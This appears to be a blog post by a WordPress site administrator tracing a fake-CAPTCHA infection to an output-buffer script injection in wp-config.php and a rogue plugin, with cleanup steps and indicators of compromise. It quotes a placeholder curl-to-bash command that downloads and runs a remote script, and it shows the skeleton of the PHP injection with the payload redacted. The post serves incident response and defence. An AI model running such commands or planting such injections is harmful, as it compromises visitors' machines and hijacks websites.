You are currently viewing A Fake CAPTCHA Took Over My WordPress Site — Here’s How I Traced It to wp-config.php

A Fake CAPTCHA Took Over My WordPress Site — Here’s How I Traced It to wp-config.php

A few days ago I noticed something strange on a WordPress site I manage.

Instead of loading the website normally, some visitors were seeing what looked like a CAPTCHA verification screen. At first glance it looked convincing enough — the usual “I am not a robot” style interface.

But the instructions were definitely not normal.

The page was asking Mac users to open Terminal, paste something with Command + V, and press Enter.

That was enough to know something was seriously wrong.

A real CAPTCHA will never ask someone to open Terminal and run a command.

I started looking through the WordPress installation expecting to find a suspicious JavaScript file or an injected script inside the theme.

It turned out to be more interesting than that.

The first thing I found

The clipboard command used by the fake verification page was essentially downloading a remote script and passing it directly to Bash.

I’m not including the original attacker domain or the full command here, but the important part looked like this:

/bin/bash -c "$(curl -fsSL 'https://attacker-domain.example/...')"

That means whatever was hosted at the remote URL would be downloaded and executed immediately.

There is no file for the user to inspect first.

That kind of social-engineering technique is commonly seen in fake CAPTCHA or ClickFix-style attacks.

At this point I knew the website was compromised, but I still didn’t know where the fake CAPTCHA was coming from.

WordPress searches initially didn’t help much

My first instinct was to search the WordPress files for text visible on the fake page.

Things like:

Verification Steps
BotGuard
reCAPTCHA Verification ID

I also searched for the suspicious domains involved in the attack.

Nothing useful showed up.

That was confusing because the browser was clearly displaying the malicious page.

I then opened Chrome DevTools and looked at the Network tab.

That gave me the first useful clue.

I saw POST requests going to:

https://bsc-testnet-rpc.publicnode.com/

The requests were returning 200 OK.

That is not something this WordPress site normally has any reason to contact.

When I checked the request initiator, Chrome showed something even stranger:

data:text/javascript;base64,...

So the JavaScript wasn’t being loaded from a normal .js file.

It was embedded directly as a Base64-encoded JavaScript URL.

The browser was decoding the important part

This explained why some of my earlier searches failed.

The raw HTML did not necessarily contain strings such as:

bsc-testnet-rpc.publicnode.com

in plain text.

The browser first received something like:

<script
    id="_ea_s"
    src="data:text/javascript;base64,[BASE64 PAYLOAD]">
</script>

and then decoded the payload when executing it.

When I inspected the decoded code safely, without executing it, I could see references to things such as:

eth_call
bsc-testnet-rpc.publicnode.com

and logic that eventually decoded and evaluated another payload.

That changed the investigation completely.

Instead of searching for the final fake CAPTCHA text, I started searching for the script loader itself.

grep -RIlF \
  --exclude-dir=cache \
  --exclude-dir=.git \
  'id="_ea_s"' .

I expected a theme file or plugin.

Instead I got:

./wp-config.php

That was the moment the whole thing made sense.

The malware had modified wp-config.php

Near the beginning of wp-config.php, I found a block that absolutely did not belong there.

I have removed the actual payload, but the structure looked like this:

/* _ea_wc_s */
// _ea_wc

if (!defined('_EA_WC_')) {
    define('_EA_WC_', 1);

    ob_start(function ($b) {

        if (strpos($b, 'id="_ea_s"') !== false) {
            return $b;
        }

        return str_replace(
            '</head>',
            '<script id="_ea_s"
            src="data:text/javascript;base64,[REDACTED]">
            </script></head>',
            $b
        );
    });
}

/* _ea_wc_e */

The original infected file contained this _EA_WC_ output-buffer injection together with the Base64 _ea_s loader.

The interesting part here is the use of:

ob_start()

The malware wasn’t changing individual WordPress posts or templates.

Instead, it was intercepting the final HTML generated by WordPress.

Then it looked for:

</head>

and replaced it with:

<script id="_ea_s" ...></script>
</head>

So every page generated by WordPress could receive the malicious JavaScript automatically.

That is also why changing themes or looking through individual posts would not have solved the problem.

There was another malicious component too

During the earlier filesystem search I had also found this:

wp-content/plugins/hseo/hseo.php

This wasn’t a plugin I knowingly installed.

I moved the entire directory outside the web root instead of immediately deleting it.

Something like:

mkdir -p ~/malware-quarantine

mv wp-content/plugins/hseo \
   ~/malware-quarantine/

After doing that, some of the obvious malicious output disappeared, especially after clearing cache.

But the CAPTCHA eventually came back.

At first I suspected the optimization/CDN cache.

That turned out not to be the full story.

wp-config.php was still injecting the JavaScript.

Removing one malicious plugin was therefore not enough.

That was probably the biggest lesson from this incident: if an attacker has already managed to execute PHP on the site, finding one bad file does not mean the compromise is finished.

Proving it wasn’t just browser cache

One part of the debugging process was especially useful.

The CAPTCHA disappeared when JavaScript was disabled in Chrome.

That confirmed JavaScript was responsible for displaying it.

But even Chrome Guest mode showed the same CAPTCHA.

Clearing browser data didn’t fix it either.

So I tested the website directly from the server.

I requested the origin instead of relying on the normal CDN/browser path:

curl -sk \
  --resolve www.example.com:443:127.0.0.1 \
  -A 'Mozilla/5.0 (Macintosh)' \
  "https://www.example.com/?test=$(date +%s)" \
  -o /tmp/site-origin.html

Then I checked the response:

grep -nF 'id="_ea_s"' /tmp/site-origin.html

And there it was:

<script id="_ea_s"
src="data:text/javascript;base64,...">

That test was important.

It proved that the malicious script wasn’t simply stuck in Chrome or being served from some stale CDN cache.

The WordPress origin itself was producing infected HTML.

Why was WordPress able to modify wp-config.php?

After finding the injection, I checked file ownership and the PHP-FPM user.

In simplified form, the setup looked like this:

wp-config.php
owner: web application user
permissions: 644

And PHP-FPM was also running under the same Unix account.

With:

644

the file owner has write permission.

So PHP code running as that same account could modify wp-config.php.

This does not prove exactly which malicious script performed the write, but it explains why a compromised PHP process was technically capable of doing it.

Once an attacker obtains PHP execution under that user, files owned by the same account become part of the attack surface.

Removing the injection

I didn’t immediately delete anything.

First I created a backup and moved it outside the public web directory.

Then I removed only the malicious block from wp-config.php.

After editing, the first check was:

php -l wp-config.php

The result needed to be:

No syntax errors detected in wp-config.php

Then I searched the configuration again:

grep -nE \
'_EA_WC_|_ea_s|data:text/javascript;base64|bsc-testnet-rpc' \
wp-config.php

No output.

Then I fetched the origin one more time:

curl -sk \
  --resolve www.example.com:443:127.0.0.1 \
  -A 'Mozilla/5.0 (Macintosh)' \
  "https://www.example.com/?verify=$(date +%s)" \
  -o /tmp/site-clean.html

And checked it:

grep -nE \
'_ea_s|data:text/javascript;base64|bsc-testnet-rpc|publicnode' \
/tmp/site-clean.html

This time there were no matches.

After clearing the website cache and loading the page normally again with JavaScript enabled, the fake CAPTCHA was gone.

These were the most useful indicators

If someone runs into a similar infection, these strings are worth checking:

_EA_WC_
_ea_wc_s
_ea_wc_e
id="_ea_s"
data:text/javascript;base64
bsc-testnet-rpc.publicnode.com
eth_call
wp-content/plugins/hseo/hseo.php

For example:

grep -RIlE \
  --exclude-dir=cache \
  --exclude-dir=.git \
  '_EA_WC_|_ea_wc_s|id="_ea_s"|bsc-testnet-rpc\.publicnode\.com' \
  .

I would not recommend blindly deleting everything returned by a command like this.

Inspect the files first.

On a compromised site, deleting the wrong PHP file can create another outage while still leaving the actual backdoor behind.

The CAPTCHA disappearing wasn’t the end of the cleanup

Once someone has been able to add a rogue plugin and modify wp-config.php, the correct assumption is that the site has been compromised beyond just the visible popup.

Removing the fake CAPTCHA fixes the visible symptom.

It does not automatically answer how the attacker entered.

I still consider the following part of the incident response:

  • checking WordPress administrator accounts
  • checking mu-plugins
  • checking .htaccess
  • checking .user.ini
  • looking for PHP inside wp-content/uploads
  • reviewing recently modified PHP files
  • updating WordPress core
  • reinstalling plugins/themes from trusted sources
  • changing WordPress salts
  • rotating WordPress passwords
  • rotating SSH/SFTP credentials
  • rotating hosting and CDN credentials
  • reviewing server authentication logs

In my case there was an additional concern because a computer previously used to manage the site had also been exposed to malware.

That means stolen credentials also have to be considered as a possible entry point.

I don’t currently have enough evidence to claim exactly which route was used, so I’m not going to pretend that part is proven.

What I can prove is what was serving the malicious code.

What actually made the investigation work

The most useful part of this investigation wasn’t a malware scanner.

It was simply following the execution chain backwards.

I started with:

Fake CAPTCHA

Then:

Chrome Network request

Then:

bsc-testnet-rpc.publicnode.com

Then Chrome’s Initiator showed:

data:text/javascript;base64,...

That gave me:

id="_ea_s"

Searching for _ea_s led directly to:

wp-config.php

And inside wp-config.php was the PHP code injecting the malicious script into every generated page.

In other words, the useful investigation path was:

fake CAPTCHA
    ↓
network request
    ↓
JavaScript initiator
    ↓
Base64 loader
    ↓
unique script ID
    ↓
filesystem search
    ↓
wp-config.php

Once I removed that injection and the rogue plugin, the origin stopped returning malicious JavaScript and the CAPTCHA disappeared.

I have intentionally left the complete payload, attacker URLs, server usernames, IP addresses, credentials and infrastructure information out of this article.

There is enough information here to identify the infection without publishing material that could unnecessarily expose the affected system or encourage someone to execute the malware.

And one final point: if a fake CAPTCHA ever tells you to open Terminal, PowerShell or the Run dialog and paste a command, don’t do it.

That isn’t CAPTCHA verification.

It’s the attack.